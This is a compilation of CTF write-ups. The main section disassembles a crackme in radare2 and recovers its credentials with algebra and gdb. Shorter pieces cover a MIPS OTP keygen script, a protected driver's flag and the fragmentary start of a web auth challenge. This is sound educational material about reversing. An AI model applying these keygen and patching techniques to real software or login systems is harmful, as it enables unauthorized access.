```[0x00400d93]> pdf @ sub.puts_cdd ┌ (fcn) sub.puts_cdd 182│ sub.puts_cdd ();│ ; var int local_28h @ rbp-0x28│ ; var int local_20h @ rbp-0x20│ ; var int local_18h @ rbp-0x18│ ; var int local_10h @ rbp-0x10│ ; var int local_8h @ rbp-0x8│ ; CALL XREF from 0x00400f81 (main)│ 0x00400cdd 55 push rbp│ 0x00400cde 4889e5 mov rbp, rsp│ 0x00400ce1 4883ec30 sub rsp, 0x30 ; '0'│ 0x00400ce5 48897dd8 mov qword [rbp - local_28h], rdi│ 0x00400ce9 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400ced 488945f8 mov qword [rbp - local_8h], rax│ 0x00400cf1 488b45f8 mov rax, qword [rbp - local_8h]│ 0x00400cf5 8b00 mov eax, dword [rax]│ 0x00400cf7 89c0 mov eax, eax│ 0x00400cf9 488945f0 mov qword [rbp - local_10h], rax│ 0x00400cfd 488b45f8 mov rax, qword [rbp - local_8h]│ 0x00400d01 4883c004 add rax, 4│ 0x00400d05 8b00 mov eax, dword [rax]│ 0x00400d07 89c0 mov eax, eax│ 0x00400d09 488945e8 mov qword [rbp - local_18h], rax│ 0x00400d0d 488b45f8 mov rax, qword [rbp - local_8h]│ 0x00400d11 4883c008 add rax, 8│ 0x00400d15 8b00 mov eax, dword [rax]│ 0x00400d17 89c0 mov eax, eax│ 0x00400d19 488945e0 mov qword [rbp - local_20h], rax│ 0x00400d1d 488b45f0 mov rax, qword [rbp - local_10h]│ 0x00400d21 482b45e8 sub rax, qword [rbp - local_18h]│ 0x00400d25 4889c2 mov rdx, rax│ 0x00400d28 488b45e0 mov rax, qword [rbp - local_20h]│ 0x00400d2c 4801d0 add rax, rdx ; '('│ 0x00400d2f 483d564b665c cmp rax, 0x5c664b56│ ┌─< 0x00400d35 7545 jne 0x400d7c│ │ 0x00400d37 488b55f0 mov rdx, qword [rbp - local_10h]│ │ 0x00400d3b 488b45e0 mov rax, qword [rbp - local_20h]│ │ 0x00400d3f 4801c2 add rdx, rax ; '#'│ │ 0x00400d42 4889d0 mov rax, rdx│ │ 0x00400d45 4801c0 add rax, rax ; '#'│ │ 0x00400d48 4801c2 add rdx, rax ; '#'│ │ 0x00400d4b 488b45e8 mov rax, qword [rbp - local_18h]│ │ 0x00400d4f 4801c2 add rdx, rax ; '#'│ │ 0x00400d52 48b8b2c700e7. movabs rax, 0x2e700c7b2│ │ 0x00400d5c 4839c2 cmp rdx, rax│ ┌──< 0x00400d5f 751b jne 0x400d7c│ ││ 0x00400d61 488b45e8 mov rax, qword [rbp - local_18h]│ ││ 0x00400d65 480faf45e0 imul rax, qword [rbp - local_20h]│ ││ 0x00400d6a 4889c2 mov rdx, rax│ ││ 0x00400d6d 48b814d36a9a. movabs rax, 0x32ac30689a6ad314│ ││ 0x00400d77 4839c2 cmp rdx, rax│ ┌───< 0x00400d7a 7414 je 0x400d90│ │└└─> 0x00400d7c bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400d81 e84af9ffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400d86 bf00000000 mov edi, 0 ; int status│ │ 0x00400d8b e8c0f9ffff call sym.imp.exit ; void exit(int status)│ └───> 0x00400d90 90 nop│ 0x00400d91 c9 leave└ 0x00400d92 c3 ret```Following the logic this function appears to be checking the username by running some math operations against small chunks of the username, then comparing against certain constants. We can reverse the operations by using the following algebra.
We know that the constants are: 0x5c664b56, 0x2e700c7b2, and 0x32ac30689a6ad314.
To solve for them, we followed the logic and found the following equations.* x - y + z = 0x5c664b56* 3(x+z) + y = 0x2e700c7b2* y * z = 0x32ac30689a6ad314
Where x = user[0:3], y = [4:7], and z = user[8:11] for the 12 character password we got.Solving for the equations we got:
x = "atac", y = "tsyl", z = "oec_".Accounting for endianness, the username was found to be: "catalyst_ceo".
I verified this by running gdb and setting a breakpoint after those functions to make sure I can pass these checks.
Function at 0x4008f7 only checked for formatting of the username, so we can skip that. But if you are curious, I was able to tell that it was simply checking for formatting because it was comparing each character against a range of ASCII values, exiting if the character is out of range. We pass this check already since we know the username. It is listed below for completeness.
```[0x00400d93]> pdf @ sub.puts_8f7┌ (fcn) sub.puts_8f7 128│ sub.puts_8f7 ();│ ; var int local_18h @ rbp-0x18│ ; var int local_4h @ rbp-0x4│ ; CALL XREF from 0x00400f8d (main)│ 0x004008f7 55 push rbp│ 0x004008f8 4889e5 mov rbp, rsp│ 0x004008fb 4883ec20 sub rsp, 0x20│ 0x004008ff 48897de8 mov qword [rbp - local_18h], rdi│ 0x00400903 c745fc000000. mov dword [rbp - local_4h], 0│ ┌─< 0x0040090a eb54 jmp 0x400960│ ┌──> 0x0040090c 8b45fc mov eax, dword [rbp - local_4h]│ |│ 0x0040090f 4863d0 movsxd rdx, eax│ |│ 0x00400912 488b45e8 mov rax, qword [rbp - local_18h]│ |│ 0x00400916 4801d0 add rax, rdx ; '('│ |│ 0x00400919 0fb600 movzx eax, byte [rax]│ |│ 0x0040091c 3c60 cmp al, 0x60 ; '`' ; '`'│ ┌───< 0x0040091e 7e14 jle 0x400934│ │|│ 0x00400920 8b45fc mov eax, dword [rbp - local_4h]│ │|│ 0x00400923 4863d0 movsxd rdx, eax│ │|│ 0x00400926 488b45e8 mov rax, qword [rbp - local_18h]│ │|│ 0x0040092a 4801d0 add rax, rdx ; '('│ │|│ 0x0040092d 0fb600 movzx eax, byte [rax]│ │|│ 0x00400930 3c7a cmp al, 0x7a ; 'z' ; 'z'│ ┌────< 0x00400932 7e28 jle 0x40095c│ │└───> 0x00400934 8b45fc mov eax, dword [rbp - local_4h]│ │ |│ 0x00400937 4863d0 movsxd rdx, eax│ │ |│ 0x0040093a 488b45e8 mov rax, qword [rbp - local_18h]│ │ |│ 0x0040093e 4801d0 add rax, rdx ; '('│ │ |│ 0x00400941 0fb600 movzx eax, byte [rax]│ │ |│ 0x00400944 3c5f cmp al, 0x5f ; '_' ; '_'│ │┌───< 0x00400946 7414 je 0x40095c│ ││|│ 0x00400948 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ ││|│ 0x0040094d e87efdffff call sym.imp.puts ; int puts(const char *s)│ ││|│ 0x00400952 bf00000000 mov edi, 0 ; int status│ ││|│ 0x00400957 e8f4fdffff call sym.imp.exit ; void exit(int status)│ └└───> 0x0040095c 8345fc01 add dword [rbp - local_4h], 1│ ↑│ ; JMP XREF from 0x0040090a (sub.puts_8f7)│ |└─> 0x00400960 8b45fc mov eax, dword [rbp - local_4h]│ | 0x00400963 4863d0 movsxd rdx, eax│ | 0x00400966 488b45e8 mov rax, qword [rbp - local_18h]│ | 0x0040096a 4801d0 add rax, rdx ; '('│ | 0x0040096d 0fb600 movzx eax, byte [rax]│ | 0x00400970 84c0 test al, al│ └──< 0x00400972 7598 jne 0x40090c│ 0x00400974 90 nop│ 0x00400975 c9 leave└ 0x00400976 c3 ret```
On to the next function. This one actually takes the password variable.
```[0x00400d93]> pdf @ sub.puts_977┌ (fcn) sub.puts_977 714│ sub.puts_977 ();│ ; var int local_40h @ rbp-0x40│ ; var int local_38h @ rbp-0x38│ ; var int local_28h @ rbp-0x28│ ; var int local_20h @ rbp-0x20│ ; var int local_14h @ rbp-0x14│ ; CALL XREF from 0x00400fa0 (main)│ 0x00400977 55 push rbp│ 0x00400978 4889e5 mov rbp, rsp│ 0x0040097b 53 push rbx│ 0x0040097c 4883ec38 sub rsp, 0x38 ; '8'│ 0x00400980 48897dc8 mov qword [rbp - local_38h], rdi│ 0x00400984 488975c0 mov qword [rbp - local_40h], rsi│ 0x00400988 488b45c8 mov rax, qword [rbp - local_38h]│ 0x0040098c 488945e0 mov qword [rbp - local_20h], rax│ 0x00400990 488b45c0 mov rax, qword [rbp - local_40h]│ 0x00400994 488945d8 mov qword [rbp - local_28h], rax│ 0x00400998 c745ec000000. mov dword [rbp - local_14h], 0│ ┌─< 0x0040099f e990000000 jmp 0x400a34│ ┌──> 0x004009a4 8b45ec mov eax, dword [rbp - local_14h]│ |│ 0x004009a7 4863d0 movsxd rdx, eax│ |│ 0x004009aa 488b45c0 mov rax, qword [rbp - local_40h]│ |│ 0x004009ae 4801d0 add rax, rdx ; '('│ |│ 0x004009b1 0fb600 movzx eax, byte [rax]│ |│ 0x004009b4 3c60 cmp al, 0x60 ; '`' ; '`'│ ┌───< 0x004009b6 7e14 jle 0x4009cc│ │|│ 0x004009b8 8b45ec mov eax, dword [rbp - local_14h]│ │|│ 0x004009bb 4863d0 movsxd rdx, eax│ │|│ 0x004009be 488b45c0 mov rax, qword [rbp - local_40h]│ │|│ 0x004009c2 4801d0 add rax, rdx ; '('│ │|│ 0x004009c5 0fb600 movzx eax, byte [rax]│ │|│ 0x004009c8 3c7a cmp al, 0x7a ; 'z' ; 'z'│ ┌────< 0x004009ca 7e64 jle 0x400a30│ │└───> 0x004009cc 8b45ec mov eax, dword [rbp - local_14h]│ │ |│ 0x004009cf 4863d0 movsxd rdx, eax│ │ |│ 0x004009d2 488b45c0 mov rax, qword [rbp - local_40h]│ │ |│ 0x004009d6 4801d0 add rax, rdx ; '('│ │ |│ 0x004009d9 0fb600 movzx eax, byte [rax]│ │ |│ 0x004009dc 3c40 cmp al, 0x40 ; '@' ; '@'│ │┌───< 0x004009de 7e14 jle 0x4009f4│ ││|│ 0x004009e0 8b45ec mov eax, dword [rbp - local_14h]│ ││|│ 0x004009e3 4863d0 movsxd rdx, eax│ ││|│ 0x004009e6 488b45c0 mov rax, qword [rbp - local_40h]│ ││|│ 0x004009ea 4801d0 add rax, rdx ; '('│ ││|│ 0x004009ed 0fb600 movzx eax, byte [rax]│ ││|│ 0x004009f0 3c5a cmp al, 0x5a ; 'Z' ; 'Z'│ ┌─────< 0x004009f2 7e3c jle 0x400a30│ ││└───> 0x004009f4 8b45ec mov eax, dword [rbp - local_14h]│ ││ |│ 0x004009f7 4863d0 movsxd rdx, eax│ ││ |│ 0x004009fa 488b45c0 mov rax, qword [rbp - local_40h]│ ││ |│ 0x004009fe 4801d0 add rax, rdx ; '('│ ││ |│ 0x00400a01 0fb600 movzx eax, byte [rax]│ ││ |│ 0x00400a04 3c2f cmp al, 0x2f ; '/' ; '/'│ ││┌───< 0x00400a06 7e14 jle 0x400a1c│ │││|│ 0x00400a08 8b45ec mov eax, dword [rbp - local_14h]│ │││|│ 0x00400a0b 4863d0 movsxd rdx, eax│ │││|│ 0x00400a0e 488b45c0 mov rax, qword [rbp - local_40h]│ │││|│ 0x00400a12 4801d0 add rax, rdx ; '('│ │││|│ 0x00400a15 0fb600 movzx eax, byte [rax]│ │││|│ 0x00400a18 3c39 cmp al, 0x39 ; '9' ; '9'│ ┌──────< 0x00400a1a 7e14 jle 0x400a30│ │││└───> 0x00400a1c bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │││ |│ 0x00400a21 e8aafcffff call sym.imp.puts ; int puts(const char *s)│ │││ |│ 0x00400a26 bf00000000 mov edi, 0 ; int status│ │││ |│ 0x00400a2b e820fdffff call sym.imp.exit ; void exit(int status)│ └└└────> 0x00400a30 8345ec01 add dword [rbp - local_14h], 1│ ↑│ ; JMP XREF from 0x0040099f (sub.puts_977)│ |└─> 0x00400a34 8b45ec mov eax, dword [rbp - local_14h]│ | 0x00400a37 4863d0 movsxd rdx, eax│ | 0x00400a3a 488b45c0 mov rax, qword [rbp - local_40h]│ | 0x00400a3e 4801d0 add rax, rdx ; '('│ | 0x00400a41 0fb600 movzx eax, byte [rax]│ | 0x00400a44 84c0 test al, al│ └──< 0x00400a46 0f8558ffffff jne 0x4009a4│ 0x00400a4c 488b45e0 mov rax, qword [rbp - local_20h]│ 0x00400a50 8b10 mov edx, dword [rax]│ 0x00400a52 488b45e0 mov rax, qword [rbp - local_20h]│ 0x00400a56 4883c004 add rax, 4│ 0x00400a5a 8b00 mov eax, dword [rax]│ 0x00400a5c 01c2 add edx, eax│ 0x00400a5e 488b45e0 mov rax, qword [rbp - local_20h]│ 0x00400a62 4883c008 add rax, 8│ 0x00400a66 8b00 mov eax, dword [rax]│ 0x00400a68 01d0 add eax, edx│ 0x00400a6a 89c7 mov edi, eax ; int seed│ 0x00400a6c e88ffcffff call sym.imp.srand ; void srand(int seed)│ 0x00400a71 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400a75 8b18 mov ebx, dword [rax]│ 0x00400a77 e8f4fcffff call sym.imp.rand ; int rand(void)│ 0x00400a7c 29c3 sub ebx, eax│ 0x00400a7e 89d8 mov eax, ebx│ 0x00400a80 3d2a05eb55 cmp eax, 0x55eb052a│ ┌─< 0x00400a85 7414 je 0x400a9b│ │ 0x00400a87 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400a8c e83ffcffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400a91 bf00000000 mov edi, 0 ; int status│ │ 0x00400a96 e8b5fcffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400a9b 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400a9f 4883c004 add rax, 4│ 0x00400aa3 8b18 mov ebx, dword [rax]│ 0x00400aa5 e8c6fcffff call sym.imp.rand ; int rand(void)│ 0x00400aaa 29c3 sub ebx, eax│ 0x00400aac 89d8 mov eax, ebx│ 0x00400aae 3d396cf70e cmp eax, 0xef76c39│ ┌─< 0x00400ab3 7414 je 0x400ac9│ │ 0x00400ab5 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400aba e811fcffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400abf bf00000000 mov edi, 0 ; int status│ │ 0x00400ac4 e887fcffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400ac9 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400acd 4883c008 add rax, 8│ 0x00400ad1 8b18 mov ebx, dword [rax]│ 0x00400ad3 e898fcffff call sym.imp.rand ; int rand(void)│ 0x00400ad8 29c3 sub ebx, eax│ 0x00400ada 89d8 mov eax, ebx│ 0x00400adc 3d642d1ecc cmp eax, 0xcc1e2d64│ ┌─< 0x00400ae1 7414 je 0x400af7│ │ 0x00400ae3 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400ae8 e8e3fbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400aed bf00000000 mov edi, 0 ; int status│ │ 0x00400af2 e859fcffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400af7 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400afb 4883c00c add rax, 0xc│ 0x00400aff 8b18 mov ebx, dword [rax]│ 0x00400b01 e86afcffff call sym.imp.rand ; int rand(void)│ 0x00400b06 29c3 sub ebx, eax│ 0x00400b08 89d8 mov eax, ebx│ 0x00400b0a 3df5c6b6c7 cmp eax, 0xc7b6c6f5│ ┌─< 0x00400b0f 7414 je 0x400b25│ │ 0x00400b11 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400b16 e8b5fbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400b1b bf00000000 mov edi, 0 ; int status│ │ 0x00400b20 e82bfcffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400b25 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400b29 4883c010 add rax, 0x10│ 0x00400b2d 8b18 mov ebx, dword [rax]│ 0x00400b2f e83cfcffff call sym.imp.rand ; int rand(void)│ 0x00400b34 29c3 sub ebx, eax│ 0x00400b36 89d8 mov eax, ebx│ 0x00400b38 3dfa1b9426 cmp eax, 0x26941bfa│ ┌─< 0x00400b3d 7414 je 0x400b53│ │ 0x00400b3f bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400b44 e887fbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400b49 bf00000000 mov edi, 0 ; int status│ │ 0x00400b4e e8fdfbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400b53 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400b57 4883c014 add rax, 0x14│ 0x00400b5b 8b18 mov ebx, dword [rax]│ 0x00400b5d e80efcffff call sym.imp.rand ; int rand(void)│ 0x00400b62 29c3 sub ebx, eax│ 0x00400b64 89d8 mov eax, ebx│ 0x00400b66 3df3f00c26 cmp eax, 0x260cf0f3│ ┌─< 0x00400b6b 7414 je 0x400b81│ │ 0x00400b6d bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400b72 e859fbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400b77 bf00000000 mov edi, 0 ; int status│ │ 0x00400b7c e8cffbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400b81 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400b85 4883c018 add rax, 0x18│ 0x00400b89 8b18 mov ebx, dword [rax]│ 0x00400b8b e8e0fbffff call sym.imp.rand ; int rand(void)│ 0x00400b90 29c3 sub ebx, eax│ 0x00400b92 89d8 mov eax, ebx│ 0x00400b94 3defcad410 cmp eax, 0x10d4caef│ ┌─< 0x00400b99 7414 je 0x400baf│ │ 0x00400b9b bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400ba0 e82bfbffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400ba5 bf00000000 mov edi, 0 ; int status│ │ 0x00400baa e8a1fbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400baf 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400bb3 4883c01c add rax, 0x1c│ 0x00400bb7 8b18 mov ebx, dword [rax]│ 0x00400bb9 e8b2fbffff call sym.imp.rand ; int rand(void)│ 0x00400bbe 29c3 sub ebx, eax│ 0x00400bc0 89d8 mov eax, ebx│ 0x00400bc2 3d24e866c6 cmp eax, 0xc666e824│ ┌─< 0x00400bc7 7414 je 0x400bdd│ │ 0x00400bc9 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400bce e8fdfaffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400bd3 bf00000000 mov edi, 0 ; int status│ │ 0x00400bd8 e873fbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400bdd 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400be1 4883c020 add rax, 0x20│ 0x00400be5 8b18 mov ebx, dword [rax]│ 0x00400be7 e884fbffff call sym.imp.rand ; int rand(void)│ 0x00400bec 29c3 sub ebx, eax│ 0x00400bee 89d8 mov eax, ebx│ 0x00400bf0 3d9c4589fc cmp eax, 0xfc89459c│ ┌─< 0x00400bf5 7414 je 0x400c0b│ │ 0x00400bf7 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400bfc e8cffaffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400c01 bf00000000 mov edi, 0 ; int status│ │ 0x00400c06 e845fbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400c0b 488b45d8 mov rax, qword [rbp - local_28h]│ 0x00400c0f 4883c024 add rax, 0x24 ; '$'│ 0x00400c13 8b18 mov ebx, dword [rax]│ 0x00400c15 e856fbffff call sym.imp.rand ; int rand(void)│ 0x00400c1a 29c3 sub ebx, eax│ 0x00400c1c 89d8 mov eax, ebx│ 0x00400c1e 3d3a071324 cmp eax, 0x2413073a│ ┌─< 0x00400c23 7414 je 0x400c39│ │ 0x00400c25 bf69104000 mov edi, str.invalid_username_or_password ; "invalid username or password" @ 0x401069 ; const char * s│ │ 0x00400c2a e8a1faffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00400c2f bf00000000 mov edi, 0 ; int status│ │ 0x00400c34 e817fbffff call sym.imp.exit ; void exit(int status)│ └─> 0x00400c39 90 nop│ 0x00400c3a 4883c438 add rsp, 0x38 ; '8'│ 0x00400c3e 5b pop rbx│ 0x00400c3f 5d pop rbp└ 0x00400c40 c3 ret```
There was a loop which we can ignore since it just checked for the passwords formatting that was everything from the functions entry point until 0x00400a46.
The following checks looked like red herrings at first with all the calls to rand(). But, we later discovered that the seed to rand was actually from the username!In here, the function seeded srand with chars from the username, and then subtracted the output of rand() calls to 4 byte chunks of the password at a time.The result of this operation was then compared against a set of constants.
What did we do? we simply dropped into gdb and used that to calculate the expected values for us.We examined $eax after returns from rand().We knew that the 4 byte chars = constant + $eax.We then converted to the integer value to a string using python by first converting the integer result to a hex value, and running chr() on each par of digits.We got that part of the password. Stepped until the comparison instruction where we set $eax to the constant to force the checks for example `set $eax = 0x55eb052a`.
That wasn't the cleanest way to do this, but was the most obvious for us. In retrospect, we could have ran a C function to generate the password from us since we knew the seed.
While we did this (took a long time), I had another binary which was patched to skip over the checks.The last function that was called was the flag generation function, it used the password to manipulated a hard coded string and printed a formatted password.Used that to verify that our password was correct (saved me after a few typos). The final result is as follows.
```./nochecks ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ Welcome to Catalyst systemsLoading..............................Username: catalyst_ceoPassword: sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggjLogging in..............................your flag is: ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}``` |
## Challenge> Why not drop us a few lines and say hi :).
## SolutionUpon connecting to the AlexCTF IRC channel, the banner displayed the flag in plaintext.
The flag is **ALEXCTF{W3_w15h_y0u_g00d_luck}**. |
# Bender Safe (re, 50 points)
Binary provided in challenge is 32bit MIPS, which is a bit unusual, and makes reversing harder.
We can connect to challenge server, but it wants us to provide some OTP key:
$ nc bender_safe.teaser.insomnihack.ch 31337 Welcome to Bender's passwords storage service Here's your OTP challenge : IMYTSAAAUI87YIQU
After a while of reverse-engineering, we have found that there is only one function that matter (named aptly `validate`).
Checks are performed one-by-one, but characters are checked out-of-order (so naively bruteforcing password by tracing program and counting instructions will not work).
For example, second check looks like this:
```asm.text:00401E0C loc_401E0C: # CODE XREF: validate+184.text:00401E0C lw $v1, 0x60+dead($fp).text:00401E10 lw $v0, 0x60+babe($fp).text:00401E14 mult $v1, $v0.text:00401E18 mflo $v0.text:00401E1C sw $v0, 0x60+deadXbabe($fp).text:00401E20 lw $v1, 0x60+defe($fp).text:00401E24 lw $v0, 0x60+cate($fp).text:00401E28 mult $v1, $v0.text:00401E2C mflo $v0.text:00401E30 sw $v0, 0x60+defeXcate($fp).text:00401E34 lw $v1, 0x60+dead2($fp).text:00401E38 lw $v0, 0x60+beef($fp).text:00401E3C mult $v1, $v0.text:00401E40 mflo $v0.text:00401E44 sw $v0, 0x60+deadXbeef($fp).text:00401E48 lw $v1, 0x60+deadXbabe($fp).text:00401E4C lw $v0, 0x60+babe($fp).text:00401E50 divu $v1, $v0.text:00401E54 teq $v0, $zero #7.text:00401E58 mfhi $v1.text:00401E5C mflo $v0.text:00401E60 sw $v0, 0x60+var_24($fp).text:00401E64 lw $v1, 0x60+defeXcate($fp).text:00401E68 lw $v0, 0x60+cate($fp).text:00401E6C divu $v1, $v0.text:00401E70 teq $v0, $zero #7.text:00401E74 mfhi $v1.text:00401E78 mflo $v0.text:00401E7C sw $v0, 0x60+var_20($fp).text:00401E80 lw $v1, 0x60+deadXbeef($fp).text:00401E84 lw $v0, 0x60+beef($fp).text:00401E88 divu $v1, $v0.text:00401E8C teq $v0, $zero #7.text:00401E90 mfhi $v1.text:00401E94 mflo $v0.text:00401E98 sw $v0, 0x60+var_1C($fp).text:00401E9C lw $v1, 0x60+var_24($fp).text:00401EA0 lw $v0, 0x60+dead($fp).text:00401EA4 divu $v1, $v0.text:00401EA8 teq $v0, $zero #7.text:00401EAC mfhi $v1.text:00401EB0 mflo $v0.text:00401EB4 move $v1, $v0.text:00401EB8 lw $v0, 0x60+var_20($fp).text:00401EBC mult $v1, $v0.text:00401EC0 mflo $v1.text:00401EC4 lw $v0, 0x60+defe($fp).text:00401EC8 move $at, $at.text:00401ECC divu $v1, $v0.text:00401ED0 teq $v0, $zero #7.text:00401ED4 mfhi $v1.text:00401ED8 mflo $v0.text:00401EDC move $v1, $v0.text:00401EE0 lw $v0, 0x60+var_1C($fp).text:00401EE4 mult $v1, $v0.text:00401EE8 mflo $v1.text:00401EEC lw $v0, 0x60+dead2($fp).text:00401EF0 move $at, $at.text:00401EF4 divu $v1, $v0.text:00401EF8 teq $v0, $zero #7.text:00401EFC mfhi $v1.text:00401F00 mflo $v0.text:00401F04 sw $v0, 0x60+deadXbabe($fp).text:00401F08 lw $v1, 0x60+arg_4($fp).text:00401F0C lw $v0, 0x60+deadXbabe($fp).text:00401F10 addu $v0, $v1, $v0.text:00401F14 lb $v1, 0($v0).text:00401F18 lw $v0, 0x60+arg_0($fp).text:00401F1C addiu $v0, 0xF.text:00401F20 lb $v0, 0($v0).text:00401F24 beq $v1, $v0, loc_401F5C.text:00401F28 move $at, $at.text:00401F2C lui $v0, 0x48 # 'H'.text:00401F30 addiu $a0, $v0, (aNope_0 - 0x480000) # "Nope!".text:00401F34 la $v0, puts.text:00401F38 move $t9, $v0.text:00401F3C jalr $t9 ; puts.text:00401F40 move $at, $at.text:00401F44 lw $gp, 0x60+var_50($fp).text:00401F48 li $a0, 1.text:00401F4C la $v0, exit.text:00401F50 move $t9, $v0.text:00401F54 jalr $t9 ; exit.text:00401F58 move $at, $at```
This looks overwhelming, but most of the opcodes are useless.
Checks was rather trivial, so instead of trying to be smart, we've just reverse engineered everything the traditional way (using IDA Pro + qemu remote debugger), and came out with this OTP generator (challenge in argv[1]):
```pythonimport sys
mychars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
ss = sys.argv[1]
out = ''
out += ss[0]
out += ss[15]
if ord(ss[7]) >= 65: out += chr(ord(ss[7]) ^ 0x20)else: out += chr(ord(ss[7]) ^ 0x40)
if ord(ss[3]) >= 65: ndx = mychars.find(ss[3]) ndx = (ndx + 10) % len(mychars) out += mychars[ndx]else: ndx = mychars.find(ss[3]) ndx = (ndx - 10) % len(mychars) out += mychars[ndx]
if ord(ss[4]) >= 65: ndx = mychars.find(ss[4]) ndx = (ndx + 10) % len(mychars) out += mychars[ndx]else: ndx = mychars.find(ss[4]) ndx = (ndx - 10) % len(mychars) out += mychars[ndx]
v25 = ord(ss[1]) - ord(ss[2])if v25 >= 0: v26 = v25else: v26 = -v25out += mychars[v26 % (len(mychars) - 1)]
v25 = ord(ss[5]) - ord(ss[6])if v25 >= 0: v26 = v25else: v26 = -v25out += mychars[v26 % (len(mychars) - 1)]
if ord(ss[8]) >= 65: out += chr(ord(ss[8]) ^ 0x20)else: out += chr(ord(ss[8]) ^ 0x40)
print out``` |
##Unloadme
Unload me correctly and capture the flag!
We can use tools like OSRLoader to install a driver and work on it.It seems the file is protected using `Safengine (NoobyProtect SE 1.7.0.0)`But we didn't want to miss its bonus points.So we opened it in Notepad and got the flag; too easy
The most important part is not touched by the protector engine!
`SharfiCTF{cc043056a0a32cb5e104aeb2cf4ff7ba}`
240 points in 30 seconds!Bad design or too much points?! |
Challenge: Easyauth ----------------------------------------Category: Web ----------------------------------------30 points ----------------------------------------
```Description:
Can you gain admin access to this site?http://easyauth-afee0e67.ctf.bsidessf.net
file: easyauth.php
```
``` php
Login successful!</h1>\n"; print "Setting cookie: <tt>auth=$cookie</tt>\n"; } else { print "<h1>Username or password was incorrect!</h1>\n"; } print "Click here to continue!\n"; exit(0); }
Setting cookie: <tt>auth=$cookie</tt>
Click here to continue!
